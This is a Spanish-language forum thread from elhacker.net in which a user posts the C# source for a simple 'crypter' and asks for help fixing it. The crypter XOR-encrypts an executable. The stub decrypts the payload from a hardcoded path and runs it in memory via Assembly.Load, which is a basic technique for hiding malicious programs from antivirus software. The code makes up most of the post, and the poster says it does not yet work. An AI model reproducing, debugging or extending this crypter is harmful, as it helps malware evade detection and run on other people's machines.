elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  Ayuda con este pequeño crypter en c#
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Ayuda con este pequeño crypter en c#  (Leído 1,771 veces)
Borito30


Desconectado Desconectado

Mensajes: 481


Ver Perfil
Ayuda con este pequeño crypter en c#
« en: 30 Marzo 2017, 01:31 am »

Hola estoy modificando un facilito crypter en c# obviamente todos sabemos que c# para crypters no es lo suyo pero haciendolo el codigo es:
Código
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6.  
  7. using System.IO;
  8.  
  9. namespace Crypter
  10. {
  11.    class Program
  12.    {
  13. [STAThread]
  14.        static void Main(string[] args)
  15.        {
  16.            //No Arguments -> Exit
  17.            if (args.Length < 2)
  18.            {
  19.                Console.WriteLine("Syntax: crypter.exe <Exe/Dll to get Encrypted> <Password> (Optional: output file name)");
  20.                Environment.Exit(0);
  21.            }
  22.  
  23.            String file = args[0];
  24.            String pass = args[1];
  25.            String outFile = "Crypted.exe";
  26.  
  27.            //If Output Name is specified -> Set it
  28.            if (args.Length == 3)
  29.            {
  30.                outFile = args[2];
  31.            }
  32.  
  33.            //File doesn't exist -> Exit
  34.            if (!File.Exists(file))
  35.            {
  36.                Console.WriteLine("[!] The selected File doesn't exist!");
  37.                Environment.Exit(0);
  38.            }
  39.  
  40.            //Everything seems fine -> Reading bytes
  41.            Console.WriteLine("[*] Reading Data...");
  42.            byte[] plainBytes = File.ReadAllBytes(file);
  43.  
  44.            //Yep, got bytes -> Encoding
  45.            Console.WriteLine("[*] Encoding Data...");
  46.            byte[] encodedBytes = encodeBytes(plainBytes, pass);
  47.  
  48.            Console.Write("[*] Save to Output File... ");
  49.            File.WriteAllBytes(outFile, encodedBytes);
  50.            Console.WriteLine("Done!");
  51.  
  52.            Console.WriteLine("\n[*] File successfully encoded!");
  53.        }
  54. private static byte[] encodeBytes(byte[] bytes, String pass)
  55. {
  56. byte[] XorBytes = Encoding.Unicode.GetBytes(pass);
  57.  
  58. for (int i = 0; i < bytes.Length; i++)
  59. {
  60. bytes[i] ^= XorBytes[i % XorBytes.Length];
  61. }
  62.  
  63. return bytes;
  64. }
  65. }
  66. }

El stub:
Código
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Threading.Tasks;
  5. using System.Windows.Forms;
  6.  
  7. using System.IO;
  8. using System.Text;
  9. using System.Reflection;
  10. using System.Diagnostics;
  11.  
  12. namespace Stub
  13. {
  14.    static class Program
  15.    {
  16.        /// <summary>
  17.        /// MAIN
  18.        /// </summary>
  19.        [STAThread]
  20.        static void Main()
  21.        {
  22.            Application.EnableVisualStyles();
  23.            Application.SetCompatibleTextRenderingDefault(false);
  24.            //Application.Run(new Form1());
  25.  
  26.            //Set Payload File and Password HERE
  27.            RunInternalExe("C:/Users/Androide/Desktop/test/o.txt", "1234");
  28.        }
  29.  
  30.        private static void RunInternalExe(string exeName, String pass)
  31.        {
  32.            //Verify the Payload exists
  33.            if (!File.Exists(exeName))
  34.                return;
  35.  
  36.            //Read the raw bytes of the file
  37.            byte[] resourcesBuffer = File.ReadAllBytes(exeName);
  38.  
  39.            //Decrypt bytes from payload
  40.            byte[] decryptedBuffer = null;
  41.            decryptedBuffer = decryptBytes(resourcesBuffer, pass);
  42.  
  43.            //If .NET executable -> Run
  44.            if(Encoding.Unicode.GetString(decryptedBuffer).Contains("</assembly>"))
  45.            {
  46.                //Load the bytes as an assembly
  47.                Assembly exeAssembly = Assembly.Load(decryptedBuffer);
  48.  
  49.                //Execute the assembly
  50.                object[] parameters = new object[1];                //Don't know why but fixes TargetParameterCountException
  51.                exeAssembly.EntryPoint.Invoke(null, parameters);
  52.            }
  53.        }
  54.  
  55.        /// <summary>
  56.        /// Decrypt the Loaded Assembly Bytes
  57.        /// </summary>
  58.        /// <param name="payload"></param>
  59.        /// <returns>Decrypted Bytes</returns>
  60.        private static byte[] decryptBytes(byte[] bytes, String pass)
  61.        {
  62.            byte[] XorBytes = Encoding.Unicode.GetBytes(pass);
  63.  
  64.            for (int i = 0; i < bytes.Length; i++)
  65.            {
  66.                bytes[i] ^= XorBytes[i % XorBytes.Length];
  67.            }
  68.  
  69.            return bytes;
  70.        }
  71.    }
  72. }
  73.  
Pero cuando pongo abro el stub se me cierra y no me abre mi fichero y lo encripte correctamente y todo que estoy haciendo mal?


En línea

Estoy en contra del foro libre y la Sección de juegos y consolas (distraen al personal)
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ayuda con este pequeño programa en c
Programación C/C++
Chupakabras 2 1,811 Último mensaje 29 Mayo 2015, 07:46 am
por Chupakabras
Ayuda con este pequeño bucle
Programación C/C++
TheNorvamp 3 2,170 Último mensaje 23 Septiembre 2016, 19:44 pm
por MAFUS
Ayuda con este crypter en autoit
Scripting
Borito30 2 1,998 Último mensaje 2 Abril 2017, 01:49 am
por Borito30
MOVIDO: Ayuda con este crypter en autoit
Programación General
Eleкtro 0 1,618 Último mensaje 31 Marzo 2017, 23:12 pm
por Eleкtro
Ayuda con este crypter en .net
.NET (C#, VB.NET, ASP)
Borito30 4 3,520 Último mensaje 13 Mayo 2017, 20:13 pm
por Borito30
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines